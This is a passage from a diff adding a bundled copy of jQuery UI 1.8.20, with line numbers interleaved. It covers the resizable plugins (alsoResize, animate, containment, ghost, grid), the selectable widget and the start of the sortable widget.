+ var o = this.options, pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b;
2168
+
2169
+ b = {
2170
+ minWidth: isNumber(o.minWidth) ? o.minWidth : 0,
2171
+ maxWidth: isNumber(o.maxWidth) ? o.maxWidth : Infinity,
2172
+ minHeight: isNumber(o.minHeight) ? o.minHeight : 0,
2173
+ maxHeight: isNumber(o.maxHeight) ? o.maxHeight : Infinity
2174
+ };
2175
+
2176
+ if(this._aspectRatio || forceAspectRatio) {
2177
+ // We want to create an enclosing box whose aspect ration is the requested one
2178
+ // First, compute the "projected" size for each dimension based on the aspect ratio and other dimension
2179
+ pMinWidth = b.minHeight * this.aspectRatio;
2180
+ pMinHeight = b.minWidth / this.aspectRatio;
2181
+ pMaxWidth = b.maxHeight * this.aspectRatio;
2182
+ pMaxHeight = b.maxWidth / this.aspectRatio;
2183
+
2184
+ if(pMinWidth > b.minWidth) b.minWidth = pMinWidth;
2185
+ if(pMinHeight > b.minHeight) b.minHeight = pMinHeight;
2186
+ if(pMaxWidth < b.maxWidth) b.maxWidth = pMaxWidth;
2187
+ if(pMaxHeight < b.maxHeight) b.maxHeight = pMaxHeight;
2188
+ }
2189
+ this._vBoundaries = b;
2190
+ },
2191
+
2192
+ _updateCache: function(data) {
2193
+ var o = this.options;
2194
+ this.offset = this.helper.offset();
2195
+ if (isNumber(data.left)) this.position.left = data.left;
2196
+ if (isNumber(data.top)) this.position.top = data.top;
2197
+ if (isNumber(data.height)) this.size.height = data.height;
2198
+ if (isNumber(data.width)) this.size.width = data.width;
2199
+ },
2200
+
2201
+ _updateRatio: function(data, event) {
2202
+
2203
+ var o = this.options, cpos = this.position, csize = this.size, a = this.axis;
2204
+
2205
+ if (isNumber(data.height)) data.width = (data.height * this.aspectRatio);
2206
+ else if (isNumber(data.width)) data.height = (data.width / this.aspectRatio);
2207
+
2208
+ if (a == 'sw') {
2209
+ data.left = cpos.left + (csize.width - data.width);
2210
+ data.top = null;
2211
+ }
2212
+ if (a == 'nw') {
2213
+ data.top = cpos.top + (csize.height - data.height);
2214
+ data.left = cpos.left + (csize.width - data.width);
2215
+ }
2216
+
2217
+ return data;
2218
+ },
2219
+
2220
+ _respectSize: function(data, event) {
2221
+
2222
+ var el = this.helper, o = this._vBoundaries, pRatio = this._aspectRatio || event.shiftKey, a = this.axis,
2223
+ ismaxw = isNumber(data.width) && o.maxWidth && (o.maxWidth < data.width), ismaxh = isNumber(data.height) && o.maxHeight && (o.maxHeight < data.height),
2224
+ isminw = isNumber(data.width) && o.minWidth && (o.minWidth > data.width), isminh = isNumber(data.height) && o.minHeight && (o.minHeight > data.height);
2225
+
2226
+ if (isminw) data.width = o.minWidth;
2227
+ if (isminh) data.height = o.minHeight;
2228
+ if (ismaxw) data.width = o.maxWidth;
2229
+ if (ismaxh) data.height = o.maxHeight;
2230
+
2231
+ var dw = this.originalPosition.left + this.originalSize.width, dh = this.position.top + this.size.height;
2232
+ var cw = /sw|nw|w/.test(a), ch = /nw|ne|n/.test(a);
2233
+
2234
+ if (isminw && cw) data.left = dw - o.minWidth;
2235
+ if (ismaxw && cw) data.left = dw - o.maxWidth;
2236
+ if (isminh && ch) data.top = dh - o.minHeight;
2237
+ if (ismaxh && ch) data.top = dh - o.maxHeight;
2238
+
2239
+ // fixing jump error on top/left - bug #2330
2240
+ var isNotwh = !data.width && !data.height;
2241
+ if (isNotwh && !data.left && data.top) data.top = null;
2242
+ else if (isNotwh && !data.top && data.left) data.left = null;
2243
+
2244
+ return data;
2245
+ },
2246
+
2247
+ _proportionallyResize: function() {
2248
+
2249
+ var o = this.options;
2250
+ if (!this._proportionallyResizeElements.length) return;
2251
+ var element = this.helper || this.element;
2252
+
2253
+ for (var i=0; i < this._proportionallyResizeElements.length; i++) {
2254
+
2255
+ var prel = this._proportionallyResizeElements[i];
2256
+
2257
+ if (!this.borderDif) {
2258
+ var b = [prel.css('borderTopWidth'), prel.css('borderRightWidth'), prel.css('borderBottomWidth'), prel.css('borderLeftWidth')],
2259
+ p = [prel.css('paddingTop'), prel.css('paddingRight'), prel.css('paddingBottom'), prel.css('paddingLeft')];
2260
+
2261
+ this.borderDif = $.map(b, function(v, i) {
2262
+ var border = parseInt(v,10)||0, padding = parseInt(p[i],10)||0;
2263
+ return border + padding;
2264
+ });
2265
+ }
2266
+
2267
+ if ($.browser.msie && !(!($(element).is(':hidden') || $(element).parents(':hidden').length)))
2268
+ continue;
2269
+
2270
+ prel.css({
2271
+ height: (element.height() - this.borderDif[0] - this.borderDif[2]) || 0,
2272
+ width: (element.width() - this.borderDif[1] - this.borderDif[3]) || 0
2273
+ });
2274
+
2275
+ };
2276
+
2277
+ },
2278
+
2279
+ _renderProxy: function() {
2280
+
2281
+ var el = this.element, o = this.options;
2282
+ this.elementOffset = el.offset();
2283
+
2284
+ if(this._helper) {
2285
+
2286
+ this.helper = this.helper || $('<div style="overflow:hidden;"></div>');
2287
+
2288
+ // fix ie6 offset TODO: This seems broken
2289
+ var ie6 = $.browser.msie && $.browser.version < 7, ie6offset = (ie6 ? 1 : 0),
2290
+ pxyoffset = ( ie6 ? 2 : -1 );
2291
+
2292
+ this.helper.addClass(this._helper).css({
2293
+ width: this.element.outerWidth() + pxyoffset,
2294
+ height: this.element.outerHeight() + pxyoffset,
2295
+ position: 'absolute',
2296
+ left: this.elementOffset.left - ie6offset +'px',
2297
+ top: this.elementOffset.top - ie6offset +'px',
2298
+ zIndex: ++o.zIndex //TODO: Don't modify option
2299
+ });
2300
+
2301
+ this.helper
2302
+ .appendTo("body")
2303
+ .disableSelection();
2304
+
2305
+ } else {
2306
+ this.helper = this.element;
2307
+ }
2308
+
2309
+ },
2310
+
2311
+ _change: {
2312
+ e: function(event, dx, dy) {
2313
+ return { width: this.originalSize.width + dx };
2314
+ },
2315
+ w: function(event, dx, dy) {
2316
+ var o = this.options, cs = this.originalSize, sp = this.originalPosition;
2317
+ return { left: sp.left + dx, width: cs.width - dx };
2318
+ },
2319
+ n: function(event, dx, dy) {
2320
+ var o = this.options, cs = this.originalSize, sp = this.originalPosition;
2321
+ return { top: sp.top + dy, height: cs.height - dy };
2322
+ },
2323
+ s: function(event, dx, dy) {
2324
+ return { height: this.originalSize.height + dy };
2325
+ },
2326
+ se: function(event, dx, dy) {
2327
+ return $.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [event, dx, dy]));
2328
+ },
2329
+ sw: function(event, dx, dy) {
2330
+ return $.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [event, dx, dy]));
2331
+ },
2332
+ ne: function(event, dx, dy) {
2333
+ return $.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [event, dx, dy]));
2334
+ },
2335
+ nw: function(event, dx, dy) {
2336
+ return $.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [event, dx, dy]));
2337
+ }
2338
+ },
2339
+
2340
+ _propagate: function(n, event) {
2341
+ $.ui.plugin.call(this, n, [event, this.ui()]);
2342
+ (n != "resize" && this._trigger(n, event, this.ui()));
2343
+ },
2344
+
2345
+ plugins: {},
2346
+
2347
+ ui: function() {
2348
+ return {
2349
+ originalElement: this.originalElement,
2350
+ element: this.element,
2351
+ helper: this.helper,
2352
+ position: this.position,
2353
+ size: this.size,
2354
+ originalSize: this.originalSize,
2355
+ originalPosition: this.originalPosition
2356
+ };
2357
+ }
2358
+
2359
+ });
2360
+
2361
+ $.extend($.ui.resizable, {
2362
+ version: "1.8.20"
2363
+ });
2364
+
2365
+ /*
2366
+ * Resizable Extensions
2367
+ */
2368
+
2369
+ $.ui.plugin.add("resizable", "alsoResize", {
2370
+
2371
+ start: function (event, ui) {
2372
+ var self = $(this).data("resizable"), o = self.options;
2373
+
2374
+ var _store = function (exp) {
2375
+ $(exp).each(function() {
2376
+ var el = $(this);
2377
+ el.data("resizable-alsoresize", {
2378
+ width: parseInt(el.width(), 10), height: parseInt(el.height(), 10),
2379
+ left: parseInt(el.css('left'), 10), top: parseInt(el.css('top'), 10)
2380
+ });
2381
+ });
2382
+ };
2383
+
2384
+ if (typeof(o.alsoResize) == 'object' && !o.alsoResize.parentNode) {
2385
+ if (o.alsoResize.length) { o.alsoResize = o.alsoResize[0]; _store(o.alsoResize); }
2386
+ else { $.each(o.alsoResize, function (exp) { _store(exp); }); }
2387
+ }else{
2388
+ _store(o.alsoResize);
2389
+ }
2390
+ },
2391
+
2392
+ resize: function (event, ui) {
2393
+ var self = $(this).data("resizable"), o = self.options, os = self.originalSize, op = self.originalPosition;
2394
+
2395
+ var delta = {
2396
+ height: (self.size.height - os.height) || 0, width: (self.size.width - os.width) || 0,
2397
+ top: (self.position.top - op.top) || 0, left: (self.position.left - op.left) || 0
2398
+ },
2399
+
2400
+ _alsoResize = function (exp, c) {
2401
+ $(exp).each(function() {
2402
+ var el = $(this), start = $(this).data("resizable-alsoresize"), style = {},
2403
+ css = c && c.length ? c : el.parents(ui.originalElement[0]).length ? ['width', 'height'] : ['width', 'height', 'top', 'left'];
2404
+
2405
+ $.each(css, function (i, prop) {
2406
+ var sum = (start[prop]||0) + (delta[prop]||0);
2407
+ if (sum && sum >= 0)
2408
+ style[prop] = sum || null;
2409
+ });
2410
+
2411
+ el.css(style);
2412
+ });
2413
+ };
2414
+
2415
+ if (typeof(o.alsoResize) == 'object' && !o.alsoResize.nodeType) {
2416
+ $.each(o.alsoResize, function (exp, c) { _alsoResize(exp, c); });
2417
+ }else{
2418
+ _alsoResize(o.alsoResize);
2419
+ }
2420
+ },
2421
+
2422
+ stop: function (event, ui) {
2423
+ $(this).removeData("resizable-alsoresize");
2424
+ }
2425
+ });
2426
+
2427
+ $.ui.plugin.add("resizable", "animate", {
2428
+
2429
+ stop: function(event, ui) {
2430
+ var self = $(this).data("resizable"), o = self.options;
2431
+
2432
+ var pr = self._proportionallyResizeElements, ista = pr.length && (/textarea/i).test(pr[0].nodeName),
2433
+ soffseth = ista && $.ui.hasScroll(pr[0], 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
2434
+ soffsetw = ista ? 0 : self.sizeDiff.width;
2435
+
2436
+ var style = { width: (self.size.width - soffsetw), height: (self.size.height - soffseth) },
2437
+ left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
2438
+ top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
2439
+
2440
+ self.element.animate(
2441
+ $.extend(style, top && left ? { top: top, left: left } : {}), {
2442
+ duration: o.animateDuration,
2443
+ easing: o.animateEasing,
2444
+ step: function() {
2445
+
2446
+ var data = {
2447
+ width: parseInt(self.element.css('width'), 10),
2448
+ height: parseInt(self.element.css('height'), 10),
2449
+ top: parseInt(self.element.css('top'), 10),
2450
+ left: parseInt(self.element.css('left'), 10)
2451
+ };
2452
+
2453
+ if (pr && pr.length) $(pr[0]).css({ width: data.width, height: data.height });
2454
+
2455
+ // propagating resize, and updating values for each animation step
2456
+ self._updateCache(data);
2457
+ self._propagate("resize", event);
2458
+
2459
+ }
2460
+ }
2461
+ );
2462
+ }
2463
+
2464
+ });
2465
+
2466
+ $.ui.plugin.add("resizable", "containment", {
2467
+
2468
+ start: function(event, ui) {
2469
+ var self = $(this).data("resizable"), o = self.options, el = self.element;
2470
+ var oc = o.containment, ce = (oc instanceof $) ? oc.get(0) : (/parent/.test(oc)) ? el.parent().get(0) : oc;
2471
+ if (!ce) return;
2472
+
2473
+ self.containerElement = $(ce);
2474
+
2475
+ if (/document/.test(oc) || oc == document) {
2476
+ self.containerOffset = { left: 0, top: 0 };
2477
+ self.containerPosition = { left: 0, top: 0 };
2478
+
2479
+ self.parentData = {
2480
+ element: $(document), left: 0, top: 0,
2481
+ width: $(document).width(), height: $(document).height() || document.body.parentNode.scrollHeight
2482
+ };
2483
+ }
2484
+
2485
+ // i'm a node, so compute top, left, right, bottom
2486
+ else {
2487
+ var element = $(ce), p = [];
2488
+ $([ "Top", "Right", "Left", "Bottom" ]).each(function(i, name) { p[i] = num(element.css("padding" + name)); });
2489
+
2490
+ self.containerOffset = element.offset();
2491
+ self.containerPosition = element.position();
2492
+ self.containerSize = { height: (element.innerHeight() - p[3]), width: (element.innerWidth() - p[1]) };
2493
+
2494
+ var co = self.containerOffset, ch = self.containerSize.height, cw = self.containerSize.width,
2495
+ width = ($.ui.hasScroll(ce, "left") ? ce.scrollWidth : cw ), height = ($.ui.hasScroll(ce) ? ce.scrollHeight : ch);
2496
+
2497
+ self.parentData = {
2498
+ element: ce, left: co.left, top: co.top, width: width, height: height
2499
+ };
2500
+ }
2501
+ },
2502
+
2503
+ resize: function(event, ui) {
2504
+ var self = $(this).data("resizable"), o = self.options,
2505
+ ps = self.containerSize, co = self.containerOffset, cs = self.size, cp = self.position,
2506
+ pRatio = self._aspectRatio || event.shiftKey, cop = { top:0, left:0 }, ce = self.containerElement;
2507
+
2508
+ if (ce[0] != document && (/static/).test(ce.css('position'))) cop = co;
2509
+
2510
+ if (cp.left < (self._helper ? co.left : 0)) {
2511
+ self.size.width = self.size.width + (self._helper ? (self.position.left - co.left) : (self.position.left - cop.left));
2512
+ if (pRatio) self.size.height = self.size.width / self.aspectRatio;
2513
+ self.position.left = o.helper ? co.left : 0;
2514
+ }
2515
+
2516
+ if (cp.top < (self._helper ? co.top : 0)) {
2517
+ self.size.height = self.size.height + (self._helper ? (self.position.top - co.top) : self.position.top);
2518
+ if (pRatio) self.size.width = self.size.height * self.aspectRatio;
2519
+ self.position.top = self._helper ? co.top : 0;
2520
+ }
2521
+
2522
+ self.offset.left = self.parentData.left+self.position.left;
2523
+ self.offset.top = self.parentData.top+self.position.top;
2524
+
2525
+ var woset = Math.abs( (self._helper ? self.offset.left - cop.left : (self.offset.left - cop.left)) + self.sizeDiff.width ),
2526
+ hoset = Math.abs( (self._helper ? self.offset.top - cop.top : (self.offset.top - co.top)) + self.sizeDiff.height );
2527
+
2528
+ var isParent = self.containerElement.get(0) == self.element.parent().get(0),
2529
+ isOffsetRelative = /relative|absolute/.test(self.containerElement.css('position'));
2530
+
2531
+ if(isParent && isOffsetRelative) woset -= self.parentData.left;
2532
+
2533
+ if (woset + self.size.width >= self.parentData.width) {
2534
+ self.size.width = self.parentData.width - woset;
2535
+ if (pRatio) self.size.height = self.size.width / self.aspectRatio;
2536
+ }
2537
+
2538
+ if (hoset + self.size.height >= self.parentData.height) {
2539
+ self.size.height = self.parentData.height - hoset;
2540
+ if (pRatio) self.size.width = self.size.height * self.aspectRatio;
2541
+ }
2542
+ },
2543
+
2544
+ stop: function(event, ui){
2545
+ var self = $(this).data("resizable"), o = self.options, cp = self.position,
2546
+ co = self.containerOffset, cop = self.containerPosition, ce = self.containerElement;
2547
+
2548
+ var helper = $(self.helper), ho = helper.offset(), w = helper.outerWidth() - self.sizeDiff.width, h = helper.outerHeight() - self.sizeDiff.height;
2549
+
2550
+ if (self._helper && !o.animate && (/relative/).test(ce.css('position')))
2551
+ $(this).css({ left: ho.left - cop.left - co.left, width: w, height: h });
2552
+
2553
+ if (self._helper && !o.animate && (/static/).test(ce.css('position')))
2554
+ $(this).css({ left: ho.left - cop.left - co.left, width: w, height: h });
2555
+
2556
+ }
2557
+ });
2558
+
2559
+ $.ui.plugin.add("resizable", "ghost", {
2560
+
2561
+ start: function(event, ui) {
2562
+
2563
+ var self = $(this).data("resizable"), o = self.options, cs = self.size;
2564
+
2565
+ self.ghost = self.originalElement.clone();
2566
+ self.ghost
2567
+ .css({ opacity: .25, display: 'block', position: 'relative', height: cs.height, width: cs.width, margin: 0, left: 0, top: 0 })
2568
+ .addClass('ui-resizable-ghost')
2569
+ .addClass(typeof o.ghost == 'string' ? o.ghost : '');
2570
+
2571
+ self.ghost.appendTo(self.helper);
2572
+
2573
+ },
2574
+
2575
+ resize: function(event, ui){
2576
+ var self = $(this).data("resizable"), o = self.options;
2577
+ if (self.ghost) self.ghost.css({ position: 'relative', height: self.size.height, width: self.size.width });
2578
+ },
2579
+
2580
+ stop: function(event, ui){
2581
+ var self = $(this).data("resizable"), o = self.options;
2582
+ if (self.ghost && self.helper) self.helper.get(0).removeChild(self.ghost.get(0));
2583
+ }
2584
+
2585
+ });
2586
+
2587
+ $.ui.plugin.add("resizable", "grid", {
2588
+
2589
+ resize: function(event, ui) {
2590
+ var self = $(this).data("resizable"), o = self.options, cs = self.size, os = self.originalSize, op = self.originalPosition, a = self.axis, ratio = o._aspectRatio || event.shiftKey;
2591
+ o.grid = typeof o.grid == "number" ? [o.grid, o.grid] : o.grid;
2592
+ var ox = Math.round((cs.width - os.width) / (o.grid[0]||1)) * (o.grid[0]||1), oy = Math.round((cs.height - os.height) / (o.grid[1]||1)) * (o.grid[1]||1);
2593
+
2594
+ if (/^(se|s|e)$/.test(a)) {
2595
+ self.size.width = os.width + ox;
2596
+ self.size.height = os.height + oy;
2597
+ }
2598
+ else if (/^(ne)$/.test(a)) {
2599
+ self.size.width = os.width + ox;
2600
+ self.size.height = os.height + oy;
2601
+ self.position.top = op.top - oy;
2602
+ }
2603
+ else if (/^(sw)$/.test(a)) {
2604
+ self.size.width = os.width + ox;
2605
+ self.size.height = os.height + oy;
2606
+ self.position.left = op.left - ox;
2607
+ }
2608
+ else {
2609
+ self.size.width = os.width + ox;
2610
+ self.size.height = os.height + oy;
2611
+ self.position.top = op.top - oy;
2612
+ self.position.left = op.left - ox;
2613
+ }
2614
+ }
2615
+
2616
+ });
2617
+
2618
+ var num = function(v) {
2619
+ return parseInt(v, 10) || 0;
2620
+ };
2621
+
2622
+ var isNumber = function(value) {
2623
+ return !isNaN(parseInt(value, 10));
2624
+ };
2625
+
2626
+ })(asljQuery);
2627
+
2628
+ (function( $, undefined ) {
2629
+
2630
+ $.widget("ui.selectable", $.ui.mouse, {
2631
+ options: {
2632
+ appendTo: 'body',
2633
+ autoRefresh: true,
2634
+ distance: 0,
2635
+ filter: '*',
2636
+ tolerance: 'touch'
2637
+ },
2638
+ _create: function() {
2639
+ var self = this;
2640
+
2641
+ this.element.addClass("ui-selectable");
2642
+
2643
+ this.dragged = false;
2644
+
2645
+ // cache selectee children based on filter
2646
+ var selectees;
2647
+ this.refresh = function() {
2648
+ selectees = $(self.options.filter, self.element[0]);
2649
+ selectees.addClass("ui-selectee");
2650
+ selectees.each(function() {
2651
+ var $this = $(this);
2652
+ var pos = $this.offset();
2653
+ $.data(this, "selectable-item", {
2654
+ element: this,
2655
+ $element: $this,
2656
+ left: pos.left,
2657
+ top: pos.top,
2658
+ right: pos.left + $this.outerWidth(),
2659
+ bottom: pos.top + $this.outerHeight(),
2660
+ startselected: false,
2661
+ selected: $this.hasClass('ui-selected'),
2662
+ selecting: $this.hasClass('ui-selecting'),
2663
+ unselecting: $this.hasClass('ui-unselecting')
2664
+ });
2665
+ });
2666
+ };
2667
+ this.refresh();
2668
+
2669
+ this.selectees = selectees.addClass("ui-selectee");
2670
+
2671
+ this._mouseInit();
2672
+
2673
+ this.helper = $("<div class='ui-selectable-helper'></div>");
2674
+ },
2675
+
2676
+ destroy: function() {
2677
+ this.selectees
2678
+ .removeClass("ui-selectee")
2679
+ .removeData("selectable-item");
2680
+ this.element
2681
+ .removeClass("ui-selectable ui-selectable-disabled")
2682
+ .removeData("selectable")
2683
+ .unbind(".selectable");
2684
+ this._mouseDestroy();
2685
+
2686
+ return this;
2687
+ },
2688
+
2689
+ _mouseStart: function(event) {
2690
+ var self = this;
2691
+
2692
+ this.opos = [event.pageX, event.pageY];
2693
+
2694
+ if (this.options.disabled)
2695
+ return;
2696
+
2697
+ var options = this.options;
2698
+
2699
+ this.selectees = $(options.filter, this.element[0]);
2700
+
2701
+ this._trigger("start", event);
2702
+
2703
+ $(options.appendTo).append(this.helper);
2704
+ // position helper (lasso)
2705
+ this.helper.css({
2706
+ "left": event.clientX,
2707
+ "top": event.clientY,
2708
+ "width": 0,
2709
+ "height": 0
2710
+ });
2711
+
2712
+ if (options.autoRefresh) {
2713
+ this.refresh();
2714
+ }
2715
+
2716
+ this.selectees.filter('.ui-selected').each(function() {
2717
+ var selectee = $.data(this, "selectable-item");
2718
+ selectee.startselected = true;
2719
+ if (!event.metaKey && !event.ctrlKey) {
2720
+ selectee.$element.removeClass('ui-selected');
2721
+ selectee.selected = false;
2722
+ selectee.$element.addClass('ui-unselecting');
2723
+ selectee.unselecting = true;
2724
+ // selectable UNSELECTING callback
2725
+ self._trigger("unselecting", event, {
2726
+ unselecting: selectee.element
2727
+ });
2728
+ }
2729
+ });
2730
+
2731
+ $(event.target).parents().andSelf().each(function() {
2732
+ var selectee = $.data(this, "selectable-item");
2733
+ if (selectee) {
2734
+ var doSelect = (!event.metaKey && !event.ctrlKey) || !selectee.$element.hasClass('ui-selected');
2735
+ selectee.$element
2736
+ .removeClass(doSelect ? "ui-unselecting" : "ui-selected")
2737
+ .addClass(doSelect ? "ui-selecting" : "ui-unselecting");
2738
+ selectee.unselecting = !doSelect;
2739
+ selectee.selecting = doSelect;
2740
+ selectee.selected = doSelect;
2741
+ // selectable (UN)SELECTING callback
2742
+ if (doSelect) {
2743
+ self._trigger("selecting", event, {
2744
+ selecting: selectee.element
2745
+ });
2746
+ } else {
2747
+ self._trigger("unselecting", event, {
2748
+ unselecting: selectee.element
2749
+ });
2750
+ }
2751
+ return false;
2752
+ }
2753
+ });
2754
+
2755
+ },
2756
+
2757
+ _mouseDrag: function(event) {
2758
+ var self = this;
2759
+ this.dragged = true;
2760
+
2761
+ if (this.options.disabled)
2762
+ return;
2763
+
2764
+ var options = this.options;
2765
+
2766
+ var x1 = this.opos[0], y1 = this.opos[1], x2 = event.pageX, y2 = event.pageY;
2767
+ if (x1 > x2) { var tmp = x2; x2 = x1; x1 = tmp; }
2768
+ if (y1 > y2) { var tmp = y2; y2 = y1; y1 = tmp; }
2769
+ this.helper.css({left: x1, top: y1, width: x2-x1, height: y2-y1});
2770
+
2771
+ this.selectees.each(function() {
2772
+ var selectee = $.data(this, "selectable-item");
2773
+ //prevent helper from being selected if appendTo: selectable
2774
+ if (!selectee || selectee.element == self.element[0])
2775
+ return;
2776
+ var hit = false;
2777
+ if (options.tolerance == 'touch') {
2778
+ hit = ( !(selectee.left > x2 || selectee.right < x1 || selectee.top > y2 || selectee.bottom < y1) );
2779
+ } else if (options.tolerance == 'fit') {
2780
+ hit = (selectee.left > x1 && selectee.right < x2 && selectee.top > y1 && selectee.bottom < y2);
2781
+ }
2782
+
2783
+ if (hit) {
2784
+ // SELECT
2785
+ if (selectee.selected) {
2786
+ selectee.$element.removeClass('ui-selected');
2787
+ selectee.selected = false;
2788
+ }
2789
+ if (selectee.unselecting) {
2790
+ selectee.$element.removeClass('ui-unselecting');
2791
+ selectee.unselecting = false;
2792
+ }
2793
+ if (!selectee.selecting) {
2794
+ selectee.$element.addClass('ui-selecting');
2795
+ selectee.selecting = true;
2796
+ // selectable SELECTING callback
2797
+ self._trigger("selecting", event, {
2798
+ selecting: selectee.element
2799
+ });
2800
+ }
2801
+ } else {
2802
+ // UNSELECT
2803
+ if (selectee.selecting) {
2804
+ if ((event.metaKey || event.ctrlKey) && selectee.startselected) {
2805
+ selectee.$element.removeClass('ui-selecting');
2806
+ selectee.selecting = false;
2807
+ selectee.$element.addClass('ui-selected');
2808
+ selectee.selected = true;
2809
+ } else {
2810
+ selectee.$element.removeClass('ui-selecting');
2811
+ selectee.selecting = false;
2812
+ if (selectee.startselected) {
2813
+ selectee.$element.addClass('ui-unselecting');
2814
+ selectee.unselecting = true;
2815
+ }
2816
+ // selectable UNSELECTING callback
2817
+ self._trigger("unselecting", event, {
2818
+ unselecting: selectee.element
2819
+ });
2820
+ }
2821
+ }
2822
+ if (selectee.selected) {
2823
+ if (!event.metaKey && !event.ctrlKey && !selectee.startselected) {
2824
+ selectee.$element.removeClass('ui-selected');
2825
+ selectee.selected = false;
2826
+
2827
+ selectee.$element.addClass('ui-unselecting');
2828
+ selectee.unselecting = true;
2829
+ // selectable UNSELECTING callback
2830
+ self._trigger("unselecting", event, {
2831
+ unselecting: selectee.element
2832
+ });
2833
+ }
2834
+ }
2835
+ }
2836
+ });
2837
+
2838
+ return false;
2839
+ },
2840
+
2841
+ _mouseStop: function(event) {
2842
+ var self = this;
2843
+
2844
+ this.dragged = false;
2845
+
2846
+ var options = this.options;
2847
+
2848
+ $('.ui-unselecting', this.element[0]).each(function() {
2849
+ var selectee = $.data(this, "selectable-item");
2850
+ selectee.$element.removeClass('ui-unselecting');
2851
+ selectee.unselecting = false;
2852
+ selectee.startselected = false;
2853
+ self._trigger("unselected", event, {
2854
+ unselected: selectee.element
2855
+ });
2856
+ });
2857
+ $('.ui-selecting', this.element[0]).each(function() {
2858
+ var selectee = $.data(this, "selectable-item");
2859
+ selectee.$element.removeClass('ui-selecting').addClass('ui-selected');
2860
+ selectee.selecting = false;
2861
+ selectee.selected = true;
2862
+ selectee.startselected = true;
2863
+ self._trigger("selected", event, {
2864
+ selected: selectee.element
2865
+ });
2866
+ });
2867
+ this._trigger("stop", event);
2868
+
2869
+ this.helper.remove();
2870
+
2871
+ return false;
2872
+ }
2873
+
2874
+ });
2875
+
2876
+ $.extend($.ui.selectable, {
2877
+ version: "1.8.20"
2878
+ });
2879
+
2880
+ })(asljQuery);
2881
+
2882
+ (function( $, undefined ) {
2883
+
2884
+ $.widget("ui.sortable", $.ui.mouse, {
2885
+ widgetEventPrefix: "sort",
2886
+ ready: false,
2887
+ options: {
2888
+ appendTo: "parent",
2889
+ axis: false,
2890
+ connectWith: false,
2891
+ containment: false,
2892
+ cursor: 'auto',
2893
+ cursorAt: false,
2894
+ dropOnEmpty: true,
2895
+ forcePlaceholderSize: false,
2896
+ forceHelperSize: false,
2897
+ grid: false,
2898
+ handle: false,
2899
+ helper: "original",
2900
+ items: '> *',
2901
+ opacity: false,
2902
+ placeholder: false,
2903
+ revert: false,
2904
+ scroll: true,
2905
+ scrollSensitivity: 20,
2906
+ scrollSpeed: 20,
2907
+ scope: "default",
2908
+ tolerance: "intersect",
2909
+ zIndex: 1000
2910
+ },
2911
+ _create: function() {
2912
+
2913
+ var o = this.options;
2914
+ this.containerCache = {};
2915
+ this.element.addClass("ui-sortable");
2916
+
2917
+ //Get the items
2918
+ this.refresh();
2919
+
2920
+ //Let's determine if the items are being displayed horizontally
2921
+ this.floating = this.items.length ? o.axis === 'x' || (/left|right/).test(this.items[0].item.css('float')) || (/inline|table-cell/).test(this.items[0].item.css('display')) : false;
2922
+
2923
+ //Let's determine the parent's offset
2924
+ this.offset = this.element.offset();
2925
+
2926
+ //Initialize mouse events for interaction
2927
+ this._mouseInit();
2928
+
2929
+ //We're ready to go
2930
+ this.ready = true
2931
+
2932
+ },
2933
+
2934
+ destroy: function() {
2935
+ $.Widget.prototype.destroy.call( this );
2936
+ this.element
2937
+ .removeClass("ui-sortable ui-sortable-disabled");
2938
+ this._mouseDestroy();
2939
+
2940
+ for ( var i = this.items.length - 1; i >= 0; i-- )
2941
+ this.items[i].item.removeData(this.widgetName + "-item");
2942
+
2943
+ return this;
2944
+ },
2945
+
2946
+ _setOption: function(key, value){
2947
+ if ( key === "disabled" ) {
2948
+ this.options[ key ] = value;
2949
+
2950
+ this.widget()
2951
+ [ value ? "addClass" : "removeClass"]( "ui-sortable-disabled" );
2952
+ } else {
2953
+ // Don't call widget base _setOption for disable as it adds ui-state-disabled class
2954
+ $.Widget.prototype._setOption.apply(this, arguments);
2955
+ }
2956
+ },
2957
+
2958
+ _mouseCapture: function(event, overrideHandle) {
2959
+ var that = this;
2960
+
2961
+ if (this.reverting) {
2962
+ return false;
2963
+ }
2964
+
2965
+ if(this.options.disabled || this.options.type == 'static') return false;
2966
+
2967
+ //We have to refresh the items data once first
2968
+ this._refreshItems(event);
2969
+
2970
+ //Find out if the clicked node (or one of its parents) is a actual item in this.items
2971
+ var currentItem = null, self = this, nodes = $(event.target).parents().each(function() {
2972
+ if($.data(this, that.widgetName + '-item') == self) {
2973
+ currentItem = $(this);
2974
+ return false;
2975
+ }
2976
+ });
2977
+ if($.data(event.target, that.widgetName + '-item') == self) currentItem = $(event.target);
2978
+
2979
+ if(!currentItem) return false;
2980
+ if(this.options.handle && !overrideHandle) {
2981
+ var validHandle = false;
2982
+
2983
+ $(this.options.handle, currentItem).find("*").andSelf().each(function() { if(this == event.target) validHandle = true; });
2984
+ if(!validHandle) return false;
2985
+ }
2986
+
2987
+ this.currentItem = currentItem;
2988
+ this._removeCurrentsFromItems();
2989
+ return true;
2990
+
2991
+ },
2992
+
2993
+ _mouseStart: function(event, overrideHandle, noActivation) {
2994
+
2995
+ var o = this.options, self = this;
2996
+ this.currentContainer = this;
2997
+
2998
+ //We only need to call refreshPositions, because the refreshItems call has been moved to mouseCapture
2999
+ this.refreshPositions();
3000
+
3001
+ //Create and append the visible helper
3002
+ this.helper = this._createHelper(event);
3003
+
3004
+ //Cache the helper size
3005
+ this._cacheHelperProportions();
3006
+
3007
+ /*
3008
+ * - Position generation -
3009
+ * This block generates everything position related - it's the core of draggables.
3010
+ */
3011
+
3012
+ //Cache the margins of the original element
3013
+ this._cacheMargins();
3014
+
3015
+ //Get the next scrolling parent
3016
+ this.scrollParent = this.helper.scrollParent();
3017
+
3018
+ //The element's absolute position on the page minus margins
3019
+ this.offset = this.currentItem.offset();
3020
+ this.offset = {
3021
+ top: this.offset.top - this.margins.top,
3022
+ left: this.offset.left - this.margins.left
3023
+ };
3024
+
3025
+ // Only after we got the offset, we can change the helper's position to absolute
3026
+ // TODO: Still need to figure out a way to make relative sorting possible
3027
+ this.helper.css("position", "absolute");
3028
+ this.cssPosition = this.helper.css("position");
3029
+
3030
+ $.extend(this.offset, {
3031
+ click: { //Where the click happened, relative to the element
3032
+ left: event.pageX - this.offset.left,
3033
